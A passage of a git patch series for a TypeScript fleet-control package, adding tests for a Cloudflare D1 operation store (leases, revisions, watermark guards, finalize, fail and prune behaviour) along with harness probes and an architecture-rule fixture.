(lease) => + start(lease, 'migration'), + ), + ).rejects.toThrow( + `fleet operation '${OPERATION_ID}' belongs to the other operation kind`, + ); + }); + + it("the other kind's active operation does NOT contend", async () => { + const db = new MemoryD1(); + const target = store(db); + await target.withAccountOperationLease('audit', (lease) => start(lease)); + await expect( + target.withAccountOperationLease('migration', (lease) => + start(lease, 'migration', SECOND_OPERATION_ID), + ), + ).resolves.toMatchObject({ outcome: 'created' }); + }); + + it('two-account same-UUID isolation (composite PK)', async () => { + const db = new MemoryD1(); + const first = store(db, 'account-one'); + const second = store(db, 'account-two'); + await first.withAccountOperationLease('audit', (lease) => start(lease)); + await second.withAccountOperationLease('audit', (lease) => start(lease)); + expect( + db.sqlite + .prepare( + `SELECT account_id FROM anchorage_fleet_operations + WHERE operation_id = ? ORDER BY account_id`, + ) + .all(OPERATION_ID) + .map((row) => row.account_id), + ).toEqual(['account-one', 'account-two']); + }); + + it('stageRows guarded inserts land zero rows on stale lease/revision', async () => { + const staleRevisionDb = new MemoryD1(); + const target = store(staleRevisionDb); + await target.withAccountOperationLease('audit', async (lease) => { + await start(lease); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 1, + rows: [recordRow(0)], + }); + }); + expect(rowCount(staleRevisionDb)).toBe(0); + + const staleLeaseDb = new MemoryD1(); + const staleTarget = store(staleLeaseDb); + await rejection( + staleTarget.withAccountOperationLease('audit', async (lease) => { + await start(lease); + await staleLeaseDb.execute( + 'DELETE FROM anchorage_fleet_operation_leases', + ); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [recordRow(0)], + }); + }), + ); + expect(rowCount(staleLeaseDb)).toBe(0); + + const mismatchedItemDb = new MemoryD1(); + await expect( + store(mismatchedItemDb).withAccountOperationLease( + 'migration', + async (lease) => { + await start(lease, 'migration'); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [{ ...itemRow(), ordinal: 1 }], + }); + }, + ), + ).rejects.toThrow('fleet operation state is malformed'); + expect(rowCount(mismatchedItemDb)).toBe(0); + }); + + it('stageRows splits at 100 statements per batch', async () => { + const db = new MemoryD1(); + await store(db).withAccountOperationLease('audit', async (lease) => { + await start(lease); + db.batchSizes.length = 0; + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: Array.from({ length: 205 }, (_, index) => recordRow(index)), + }); + expect(db.batchSizes).toEqual([100, 100, 5]); + }); + }); + + it('watermark guards hold under a retry with a DIFFERENT chunk size (surplus deterministic rows tolerated)', async () => { + const db = new MemoryD1(); + const result = await store(db).withAccountOperationLease( + 'audit', + async (lease) => { + const created = await start(lease); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: Array.from({ length: 5 }, (_, index) => recordRow(index)), + }); + const intended = advanced(created.record); + const transition = { + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: intended, + rows: [ + ...Array.from({ length: 6 }, (_, index) => findingRow(index)), + ...Array.from({ length: 6 }, (_, index) => factRow(index)), + ], + expectedRowWatermarks: { record: 2 }, + } as const; + const mark = db.bindingCounts.length; + db.failNextBatchAfterCommit = true; + await expect(lease.commitProgress(transition)).rejects.toThrow( + 'committed batch response lost', + ); + // 12 finding/fact inserts at 12 bindings each (5 values + the 7-binding + // operation guard), then the run update at 5 + 3 lease + 5x1 watermark. + const commitBindingCounts = [ + ...Array.from({ length: 12 }, () => 12), + 13, + ]; + expect(db.bindingCounts.slice(mark)).toEqual(commitBindingCounts); + await expect( + lease.commitProgress({ + ...transition, + expectedRowWatermarks: { record: 6 }, + }), + ).rejects.toThrow( + `fleet operation '${OPERATION_ID}' is no longer at the expected revision`, + ); + const converged = await lease.commitProgress(transition); + expect(db.bindingCounts.slice(mark)).toEqual([ + ...commitBindingCounts, + ...commitBindingCounts, + ...commitBindingCounts, + ]); + + return converged; + }, + ); + expect(result.progress.revision).toBe(1); + }); + + it('the watermark guard blocks a short intake at the revision-1 commit', async () => { + const db = new MemoryD1(); + const target = store(db); + const error = await target.withAccountOperationLease( + 'audit', + async (lease) => { + const created = await start(lease); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [recordRow(0)], + }); + return rejection( + lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record), + expectedRowWatermarks: { record: 2 }, + }), + ); + }, + ); + expect(error.message).toBe( + `fleet operation '${OPERATION_ID}' is no longer at the expected revision`, + ); + expect( + (await target.readOperationById(OPERATION_ID))?.progress.revision, + ).toBe(0); + }); + + it('commitProgress refuses a stale revision', async () => { + const db = new MemoryD1(); + const error = await store(db).withAccountOperationLease( + 'audit', + async (lease) => { + const created = await start(lease); + return rejection( + lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 2, + runRecord: advanced(created.record), + }), + ); + }, + ); + expect(error.message).toBe( + `fleet operation '${OPERATION_ID}' is no longer at the expected revision`, + ); + }); + + it('commitProgress converges on byte-identical replay', async () => { + const db = new MemoryD1(); + const result = await store(db).withAccountOperationLease( + 'audit', + async (lease) => { + const created = await start(lease); + const intended = advanced(created.record); + const input = { + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: intended, + rows: [findingRow()], + }; + await lease.commitProgress(input); + return lease.commitProgress(input); + }, + ); + expect(result.progress.revision).toBe(1); + }); + + it('corruption on divergent replay', async () => { + const db = new MemoryD1(); + const error = await store(db).withAccountOperationLease( + 'audit', + async (lease) => { + const created = await start(lease); + const intended = advanced(created.record); + await lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [recordRow(0, 'persisted')], + runRecord: intended, + }); + return rejection( + lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: intended, + rows: [recordRow(0, 'different')], + }), + ); + }, + ); + expect(error.message).toBe( + `fleet operation '${OPERATION_ID}' staged rows diverge from the persisted operation`, + ); + }); + + it('a guarded item-row update stands or falls with the run update', async () => { + const db = new MemoryD1(); + const target = store(db); + let error: Error | undefined; + const result = await target.withAccountOperationLease( + 'migration', + async (lease) => { + const created = await start(lease, 'migration'); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [itemRow('pending')], + }); + error = await rejection( + lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 1, + runRecord: advanced(advanced(created.record)), + updateRows: [itemRow('active')], + }), + ); + const pending = await lease.readOperation(OPERATION_ID); + if (!pending) throw new Error('operation disappeared'); + return lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(pending), + updateRows: [itemRow('active')], + expectedRowWatermarks: { item: 1 }, + }); + }, + ); + expect(error?.message).toBe( + `fleet operation '${OPERATION_ID}' staged rows diverge from the persisted operation`, + ); + expect(result.progress.revision).toBe(1); + const page = await target.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'item', + limit: 10, + }); + expect(page.rows[0]?.payload.status).toBe('active'); + }); + + it('the batch-budget refusal fires with its fixed message (rows + updates + 1 > 100)', async () => { + const acceptedDb = new MemoryD1(); + await store(acceptedDb).withAccountOperationLease( + 'audit', + async (lease) => { + const created = await start(lease); + const mark = acceptedDb.batchSizes.length; + const markB = acceptedDb.bindingCounts.length; + await lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record), + rows: Array.from({ length: 99 }, (_, index) => recordRow(index)), + expectedRowWatermarks: { record: 0 }, + }); + expect(acceptedDb.batchSizes.slice(mark)).toEqual([100]); + expect(acceptedDb.bindingCounts.slice(markB)).toEqual([ + ...Array.from({ length: 99 }, () => 12), + 13, + ]); + }, + ); + + const db = new MemoryD1(); + const error = await store(db).withAccountOperationLease( + 'audit', + async (lease) => { + const created = await start(lease); + return rejection( + lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record), + rows: Array.from({ length: 100 }, (_, index) => recordRow(index)), + }), + ); + }, + ); + expect(error.message).toBe( + 'commitProgress exceeds the operation batch budget of 100 statements', + ); + }); + + it('finalize total-count guards (audit: finding + record + fact; migration: item)', async () => { + const auditDb = new MemoryD1(); + const audit = await store(auditDb).withAccountOperationLease( + 'audit', + async (lease) => { + const created = await start(lease); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [recordRow(0), findingRow(), factRow()], + }); + for (const expectedRowCounts of [ + { record: 0, finding: 1, fact: 1 }, + { record: 1, finding: 1, fact: 0 }, + ]) { + await expect( + lease.finalizeOperation({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record, 'finalized'), + expectedRowCounts, + }), + ).rejects.toThrow( + `fleet operation '${OPERATION_ID}' does not match its finalize counts`, + ); + } + return lease.finalizeOperation({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record, 'finalized'), + expectedRowCounts: { record: 1, finding: 1, fact: 1 }, + }); + }, + ); + expect(audit.state).toBe('finalized'); + + const migrationDb = new MemoryD1(); + const migration = await store(migrationDb).withAccountOperationLease( + 'migration', + async (lease) => { + const created = await start(lease, 'migration'); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [itemRow('pending')], + }); + await expect( + lease.finalizeOperation({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record, 'finalized'), + expectedRowCounts: { item: 0 }, + }), + ).rejects.toThrow( + `fleet operation '${OPERATION_ID}' does not match its finalize counts`, + ); + return lease.finalizeOperation({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record, 'finalized'), + expectedRowCounts: { item: 1 }, + }); + }, + ); + expect(migration.state).toBe('finalized'); + }); + + it('finalize requireAllItemsComplete SQL check', async () => { + const incompleteDb = new MemoryD1(); + const incomplete = store(incompleteDb); + await expect( + incomplete.withAccountOperationLease('migration', async (lease) => { + const created = await start(lease, 'migration'); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [itemRow('pending')], + }); + return lease.finalizeOperation({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record, 'finalized'), + expectedRowCounts: { item: 1 }, + requireAllItemsComplete: true, + }); + }), + ).rejects.toThrow( + `fleet operation '${OPERATION_ID}' does not match its finalize counts`, + ); + expect((await incomplete.readOperationById(OPERATION_ID))?.state).toBe( + 'running', + ); + + const db = new MemoryD1(); + const result = await store(db).withAccountOperationLease( + 'migration', + async (lease) => { + const created = await start(lease, 'migration'); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [itemRow('complete')], + }); + return lease.finalizeOperation({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record, 'finalized'), + expectedRowCounts: { item: 1 }, + requireAllItemsComplete: true, + }); + }, + ); + expect(result.state).toBe('finalized'); + }); + + it('finalize mismatch leaves running', async () => { + const db = new MemoryD1(); + const target = store(db); + const error = await target.withAccountOperationLease( + 'audit', + async (lease) => { + const created = await start(lease); + return rejection( + lease.finalizeOperation({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record, 'finalized'), + expectedRowCounts: { finding: 1 }, + }), + ); + }, + ); + expect(error.message).toBe( + `fleet operation '${OPERATION_ID}' does not match its finalize counts`, + ); + expect((await target.readOperationById(OPERATION_ID))?.state).toBe( + 'running', + ); + + const staleLeaseDb = new MemoryD1(); + const staleLeaseTarget = store(staleLeaseDb); + await expect( + staleLeaseTarget.withAccountOperationLease('audit', async (lease) => { + const created = await start(lease); + await staleLeaseDb.execute( + 'DELETE FROM anchorage_fleet_operation_leases', + ); + return lease.finalizeOperation({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record, 'finalized'), + expectedRowCounts: {}, + }); + }), + ).rejects.toThrow(); + expect( + (await staleLeaseTarget.readOperationById(OPERATION_ID))?.state, + ).toBe('running'); + }); + + it('finalize probe/readback + the head-only repair', async () => { + const db = new MemoryD1(); + const target = store(db); + let input: + | Parameters[0] + | undefined; + await target.withAccountOperationLease('audit', async (lease) => { + const created = await start(lease); + input = { + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record, 'finalized'), + expectedRowCounts: {}, + }; + db.hideBatchResults = true; + await lease.finalizeOperation(input); + }); + db.sqlite + .prepare( + `UPDATE anchorage_fleet_operation_heads + SET active_operation_id = ? WHERE operation_kind = 'audit'`, + ) + .all(OPERATION_ID); + await target.withAccountOperationLease('audit', (lease) => + lease.finalizeOperation( + input as Parameters[0], + ), + ); + expect( + db.sqlite + .prepare( + `SELECT active_operation_id FROM anchorage_fleet_operation_heads + WHERE operation_kind = 'audit'`, + ) + .all()[0]?.active_operation_id, + ).toBeNull(); + }); + + it('failOperation commits run-failed + item update + head release + terminalAtMs in ONE batch', async () => { + const db = new MemoryD1(); + const target = store(db); + await target.withAccountOperationLease('migration', async (lease) => { + const created = await start(lease, 'migration'); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [itemRow('pending')], + }); + const mark = db.batchSizes.length; + await lease.failOperation({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record, 'failed'), + updateRows: [itemRow('failed')], + }); + expect(db.batchSizes.slice(mark)).toEqual([3]); + }); + const persisted = await target.readOperationById(OPERATION_ID); + expect(persisted).toMatchObject({ + state: 'failed', + terminalAtMs: expect.any(Number), + }); + expect( + ( + await target.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'item', + limit: 10, + }) + ).rows[0]?.payload.status, + ).toBe('failed'); + expect( + db.sqlite + .prepare( + `SELECT active_operation_id FROM anchorage_fleet_operation_heads + WHERE operation_kind = 'migration'`, + ) + .all()[0]?.active_operation_id, + ).toBeNull(); + + const staleLeaseDb = new MemoryD1(); + const staleLeaseTarget = store(staleLeaseDb); + await expect( + staleLeaseTarget.withAccountOperationLease('migration', async (lease) => { + const created = await start(lease, 'migration'); + await staleLeaseDb.execute( + 'DELETE FROM anchorage_fleet_operation_leases', + ); + return lease.failOperation({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record, 'failed'), + }); + }), + ).rejects.toThrow(); + expect( + (await staleLeaseTarget.readOperationById(OPERATION_ID))?.state, + ).toBe('running'); + }); + + it('failOperation updates three rows in ONE batch, all read back updated', async () => { + const db = new MemoryD1(); + const target = store(db); + await target.withAccountOperationLease('migration', async (lease) => { + const created = await start(lease, 'migration'); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [ + itemRow('pending', 0), + itemRow('pending', 1), + itemRow('pending', 2), + ], + }); + const mark = db.batchSizes.length; + await lease.failOperation({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record, 'failed'), + updateRows: [ + itemRow('failed', 0), + itemRow('failed', 1), + itemRow('failed', 2), + ], + }); + expect(db.batchSizes.slice(mark)).toEqual([5]); + }); + const persisted = await target.readOperationById(OPERATION_ID); + expect(persisted?.state).toBe('failed'); + expect(persisted?.progress.revision).toBe(1); + const page = await target.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'item', + limit: 10, + }); + expect(page.rows.map((row) => row.payload.status)).toEqual([ + 'failed', + 'failed', + 'failed', + ]); + }); + + it('failOperation refuses more than 18 updateRows with its fixed message and leaves the operation running', async () => { + const db = new MemoryD1(); + const target = store(db); + const error = await target.withAccountOperationLease( + 'migration', + async (lease) => { + const created = await start(lease, 'migration'); + const mark = db.batchSizes.length; + const rejected = await rejection( + lease.failOperation({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record, 'failed'), + updateRows: Array.from({ length: 19 }, (_, index) => + itemRow('failed', index), + ), + }), + ); + expect(db.batchSizes.length).toBe(mark); + return rejected; + }, + ); + expect(error.message).toBe( + 'failOperation exceeds the operation update budget of 18 rows', + ); + expect((await target.readOperationById(OPERATION_ID))?.state).toBe( + 'running', + ); + expect( + (await target.readOperationById(OPERATION_ID))?.progress.revision, + ).toBe(0); + }); + + it('terminal transitions advance the revision (stale-token discriminator)', async () => { + const db = new MemoryD1(); + const target = store(db); + const terminal = await seedTerminal( + target, + 'audit', + OPERATION_ID, + 'finalized', + ); + expect(terminal.progress.revision).toBe(1); + expect( + classifyFleetOperationToken( + { version: 1, operationId: OPERATION_ID, revision: 0 }, + terminal, + 'audit', + ), + ).toBe('stale'); + const failed = await seedTerminal( + target, + 'migration', + SECOND_OPERATION_ID, + 'failed', + ); + expect(failed.progress.revision).toBe(1); + await expect( + target.withAccountOperationLease('audit', (lease) => + lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 1, + runRecord: advanced(terminal), + }), + ), + ).rejects.toThrow( + `fleet operation '${OPERATION_ID}' is no longer at the expected revision`, + ); + }); + + it('rows stay readable on terminal states', async () => { + const db = new MemoryD1(); + const target = store(db); + await target.withAccountOperationLease('audit', async (lease) => { + const created = await start(lease); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [findingRow()], + }); + await lease.finalizeOperation({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record, 'finalized'), + expectedRowCounts: { finding: 1 }, + }); + }); + await expect( + target.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'finding', + limit: 10, + }), + ).resolves.toMatchObject({ rows: [findingRow()], done: true }); + + const failedDb = new MemoryD1(); + const failedTarget = store(failedDb); + await failedTarget.withAccountOperationLease('migration', async (lease) => { + const created = await start(lease, 'migration'); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [itemRow('pending')], + }); + await lease.failOperation({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record, 'failed'), + updateRows: [itemRow('failed')], + }); + }); + await expect( + failedTarget.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'item', + limit: 10, + }), + ).resolves.toMatchObject({ rows: [itemRow('failed')], done: true }); + }); + + it('readOperationRowsPage limit validation + ordinal order + done + payload parse fail-closed', async () => { + const db = new MemoryD1(); + const target = store(db); + await target.withAccountOperationLease('audit', async (lease) => { + await start(lease); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [findingRow(2), findingRow(0), findingRow(1)], + }); + }); + await expect( + target.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'finding', + limit: 0, + }), + ).rejects.toThrow('limit must be an integer from 1 to 1000'); + for (const limit of [1001, 1.5]) { + await expect( + target.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'finding', + limit, + }), + ).rejects.toThrow('limit must be an integer from 1 to 1000'); + } + for (const afterOrdinal of [-1, 0.5, Number.MAX_SAFE_INTEGER]) { + await expect( + target.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'finding', + afterOrdinal, + limit: 1, + }), + ).rejects.toThrow('fleet operation state is malformed'); + } + const first = await target.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'finding', + limit: 2, + }); + expect(first.rows.map((row) => row.ordinal)).toEqual([0, 1]); + expect(first.done).toBe(false); + expect( + await target.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'finding', + afterOrdinal: 1, + limit: 2, + }), + ).toMatchObject({ rows: [{ ordinal: 2 }], done: true }); + db.sqlite + .prepare( + `UPDATE anchorage_fleet_operation_rows SET payload = '{' + WHERE row_kind = 'finding' AND ordinal = 2`, + ) + .all(); + await expect( + target.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'finding', + afterOrdinal: 1, + limit: 2, + }), + ).rejects.toThrow('fleet operation state is malformed'); + }); + + it('prune protects the active and the latest finalized operation per kind', async () => { + const db = new MemoryD1(); + const inventory = new FakeInventoryStore(); + const target = store(db, 'account-primary', inventory); + await seedTerminal(target, 'audit', OPERATION_ID, 'failed'); + await seedTerminal(target, 'audit', SECOND_OPERATION_ID, 'finalized'); + await seedTerminal(target, 'migration', THIRD_OPERATION_ID, 'failed'); + await seedTerminal(target, 'migration', FOURTH_OPERATION_ID, 'finalized'); + await target.withAccountOperationLease('audit', (lease) => + start(lease, 'audit', FIFTH_OPERATION_ID), + ); + await target.withAccountOperationLease('migration', (lease) => + start(lease, 'migration', SIXTH_OPERATION_ID), + ); + expect( + await target.pruneFleetOperations({ kind: 'audit', limit: 10 }), + ).toEqual({ + deleted: 1, + releasedPins: 1, + }); + expect(await target.readOperationById(OPERATION_ID)).toBeUndefined(); + expect(await target.readOperationById(SECOND_OPERATION_ID)).toBeDefined(); + expect(await target.readOperationById(THIRD_OPERATION_ID)).toBeDefined(); + expect(await target.readOperationById(FOURTH_OPERATION_ID)).toBeDefined(); + expect(await target.readOperationById(FIFTH_OPERATION_ID)).toBeDefined(); + expect(await target.readOperationById(SIXTH_OPERATION_ID)).toBeDefined(); + expect( + await target.pruneFleetOperations({ kind: 'migration', limit: 10 }), + ).toEqual({ deleted: 1, releasedPins: 0 }); + expect(await target.readOperationById(THIRD_OPERATION_ID)).toBeUndefined(); + expect(await target.readOperationById(FOURTH_OPERATION_ID)).toBeDefined(); + expect(await target.readOperationById(SECOND_OPERATION_ID)).toBeDefined(); + expect(await target.readOperationById(FIFTH_OPERATION_ID)).toBeDefined(); + }); + + it('prune deletes oldest-first in bounded batches', async () => { + const db = new MemoryD1(); + const target = store(db); + for (const [index, operationId] of [ + OPERATION_ID, + SECOND_OPERATION_ID, + THIRD_OPERATION_ID, + ].entries()) { + await seedTerminal(target, 'migration', operationId, 'failed'); + db.sqlite + .prepare( + `UPDATE anchorage_fleet_operations SET terminal_at_ms = ? + WHERE operation_id = ?`, + ) + .all(index + 1, operationId); + } + expect( + await target.pruneFleetOperations({ kind: 'migration', limit: 2 }), + ).toEqual({ + deleted: 2, + releasedPins: 0, + }); + expect(await target.readOperationById(OPERATION_ID)).toBeUndefined(); + expect(await target.readOperationById(SECOND_OPERATION_ID)).toBeUndefined(); + expect(await target.readOperationById(THIRD_OPERATION_ID)).toBeDefined(); + }); + + it('prune releases the audit pin FIRST; the crash window leaves an unpinned terminal operation the next call deletes', async () => { + const db = new MemoryD1(); + const inventory = new FakeInventoryStore(); + const target = store(db, 'account-primary', inventory); + await seedTerminal(target, 'audit', FOURTH_OPERATION_ID, 'failed'); + // Lock order is operation KIND lease outer, inventory ACCOUNT lease inner, + // and is never acquired in reverse by production callers. + await inventory.pinGeneration({ + generation: 1, + pinnedBy: `fleet-audit:${FOURTH_OPERATION_ID}`, + }); + inventory.crashAfterRelease = true; + await expect( + target.pruneFleetOperations({ kind: 'audit', limit: 1 }), + ).rejects.toThrow('crash after pin release'); + expect(inventory.pins.size).toBe(0); + expect(await target.readOperationById(FOURTH_OPERATION_ID)).toBeDefined(); + expect( + await target.pruneFleetOperations({ kind: 'audit', limit: 1 }), + ).toEqual({ + deleted: 1, + releasedPins: 1, + }); + expect(await target.readOperationById(FOURTH_OPERATION_ID)).toBeUndefined(); + expect(inventory.releases).toEqual([ + `1:fleet-audit:${FOURTH_OPERATION_ID}`, + `1:fleet-audit:${FOURTH_OPERATION_ID}`, + ]); + }); + + it('audit prune without inventoryStore throws FleetOperationStoreCapabilityError', async () => { + await expect( + store(new MemoryD1()).pruneFleetOperations({ kind: 'audit', limit: 1 }), + ).rejects.toThrow(FleetOperationStoreCapabilityError); + }); +}); + +function auditRun(revision: number): FleetOperationRunRecord { + return runRecord('audit', revision); +} + +function rowCount(db: MemoryD1): number { + return Number( + db.sqlite + .prepare('SELECT COUNT(*) AS count FROM anchorage_fleet_operation_rows') + .all()[0]?.count, + ); +} diff --git a/packages/fleet-control/test/state-store.harness.test.ts b/packages/fleet-control/test/state-store.harness.test.ts index 1667b83d..a47a6325 100644 --- a/packages/fleet-control/test/state-store.harness.test.ts +++ b/packages/fleet-control/test/state-store.harness.test.ts @@ -1524,4 +1524,168 @@ describe.sequential('D1FleetStateStore Wrangler harness', { }); expect(result.generation).toBe(1); }); + + it('operation-start atomicity', async () => { + await expect( + probe<{ + started: number; + rejected: number; + activeOperationId: string | null; + operations: number; + }>('operation-start-atomicity'), + ).resolves.toEqual({ + started: 1, + rejected: 15, + activeOperationId: '123e4567-e89b-42d3-a456-426614174300', + operations: 1, + }); + }); + + it('commit concurrency (losers land zero rows; winner replay converges without a second revision advance)', async () => { + const result = await probe<{ + winners: number; + losers: number; + rowOrdinals: number[]; + replayRevision: number; + noSecondAdvance: boolean; + }>('operation-commit-concurrency'); + expect(result.winners).toBe(1); + expect(result.losers).toBe(15); + expect(result.rowOrdinals).toHaveLength(1); + expect(result.replayRevision).toBe(1); + expect(result.noSecondAdvance).toBe(true); + }); + + it('finalize convergence', async () => { + await expect( + probe<{ + identical: boolean; + revision: number; + terminalAtMs: number; + activeOperationId: string | null; + }>('operation-finalize-convergence'), + ).resolves.toEqual({ + identical: true, + revision: 1, + terminalAtMs: expect.any(Number), + activeOperationId: null, + }); + }); + + it('rows-page readback', async () => { + await expect( + probe<{ + first: number[]; + firstDone: boolean; + second: number[]; + secondDone: boolean; + }>('operation-rows-readback'), + ).resolves.toEqual({ + first: [0, 1], + firstDone: false, + second: [2], + secondDone: true, + }); + }); + + it('corrupt payload unreadable', async () => { + await expect( + probe('operation-corrupt-unreadable'), + ).resolves.toEqual({ + name: 'FleetOperationStateError', + message: 'fleet operation state is malformed', + }); + }); + + it('prune order + protected set', async () => { + const result = await probe<{ + pruned: { deleted: number; releasedPins: number }; + remaining: string[]; + }>('operation-prune-order'); + expect(result.pruned).toEqual({ deleted: 1, releasedPins: 0 }); + expect(result.remaining).toEqual([ + '123e4567-e89b-42d3-a456-426614174311', + '123e4567-e89b-42d3-a456-426614174312', + '123e4567-e89b-42d3-a456-426614174313', + ]); + }); + + it('per-kind lease independence + lifecycle at controlled times', async () => { + await expect( + probe<{ + takeover: string; + heartbeatObserved: boolean; + contenderRejected: boolean; + leasesAfterRelease: number; + }>('operation-lease-lifecycle'), + ).resolves.toEqual({ + takeover: 'independent', + heartbeatObserved: true, + contenderRejected: true, + leasesAfterRelease: 0, + }); + }, 30_000); + + it('four-table cold+concurrent schema init', async () => { + await server.reset(); + worker = server.getWorker(); + const result = await probe<{ + absent: number; + columns: Record; + tables: string[]; + }>('operation-cold-concurrent-schema'); + expect(result.absent).toBe(16); + expect(result.tables).toEqual([ + 'anchorage_fleet_operation_heads', + 'anchorage_fleet_operation_leases', + 'anchorage_fleet_operation_rows', + 'anchorage_fleet_operations', + ]); + expect(result.columns).toEqual({ + anchorage_fleet_operation_leases: [ + 'account_id:TEXT', + 'operation_kind:TEXT', + 'owner_token:TEXT', + 'expires_at:INTEGER', + ], + anchorage_fleet_operation_heads: [ + 'account_id:TEXT', + 'operation_kind:TEXT', + 'active_operation_id:TEXT', + ], + anchorage_fleet_operations: [ + 'account_id:TEXT', + 'operation_id:TEXT', + 'operation_kind:TEXT', + 'intake_digest:TEXT', + 'op_record:TEXT', + 'created_at_ms:INTEGER', + 'terminal_at_ms:INTEGER', + ], + anchorage_fleet_operation_rows: [ + 'account_id:TEXT', + 'operation_id:TEXT', + 'row_kind:TEXT', + 'ordinal:INTEGER', + 'payload:TEXT', + ], + }); + }); + + it('two-account same-UUID isolation', async () => { + await expect( + probe>( + 'operation-two-account-isolation', + ), + ).resolves.toEqual([ + { + account_id: 'operation-account-one', + operation_id: '123e4567-e89b-42d3-a456-426614174330', + }, + { + account_id: 'operation-account-two', + operation_id: '123e4567-e89b-42d3-a456-426614174330', + }, + ]); + }); }); diff --git a/scripts/architecture-fixtures/operation-state-imports-provider.ts b/scripts/architecture-fixtures/operation-state-imports-provider.ts new file mode 100644 index 00000000..0895ff88 --- /dev/null +++ b/scripts/architecture-fixtures/operation-state-imports-provider.ts @@ -0,0 +1,4 @@ +import '../../packages/fleet-control/src/cloudflare-worker-attachment-scan.js'; +import Cloudflare from 'cloudflare'; + +void Cloudflare; diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index 1981feb0..b6a357cf 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -108,6 +108,8 @@ const controls = { 'scripts/architecture-fixtures/cleanup-state-imports-provider.ts', 'fleet-control-inventory-state-does-not-reach-provider': 'scripts/architecture-fixtures/inventory-state-imports-provider.ts', + 'fleet-control-operation-state-does-not-reach-provider': + 'scripts/architecture-fixtures/operation-state-imports-provider.ts', 'fleet-control-decommission-advance-is-transport-neutral': 'scripts/architecture-fixtures/decommission-advance-imports-provider.ts', 'fleet-control-inventory-advance-is-transport-neutral': From f07721703f627008ae62ea1fe07348290ee79688 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 1 Sep 2026 21:51:52 +0400 Subject: [PATCH 053/169] refactor(fleet-control): apply the R4-A review nit ledger The 35-item polish batch from R4-A's four review rounds: derived kind and row-kind vocabularies, a shared malformed() helper, the stagedRowForKindFromUnknown rename, a shared watermark SQL fragment, constant-derived test paddings with a self-verifying intake-bound fixture, a compile-time two-way finding-kind set-equality check, dead-branch removal, and comment/naming alignment with the R3 siblings. Three adjudicated narrow-edge improvements ride along: page-limit validation before schema creation, a lease-release rejection of literal undefined now propagates, and the audit-detail write gate accepts unknown and stays non-throwing. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01KRECeuo6T37aouqqT3CaMK --- .../src/d1-fleet-operation-store.ts | 96 +++++++++------- .../fleet-control/src/fleet-audit-state.ts | 23 +--- .../src/fleet-migration-state.ts | 6 +- .../src/fleet-operation-state.ts | 25 +++-- .../fixtures/fleet-state-harness-probe.ts | 22 ++-- .../test/fleet-operation-state.test.ts | 105 ++++++++---------- .../test/fleet-operation-store.test.ts | 73 +++++++----- 7 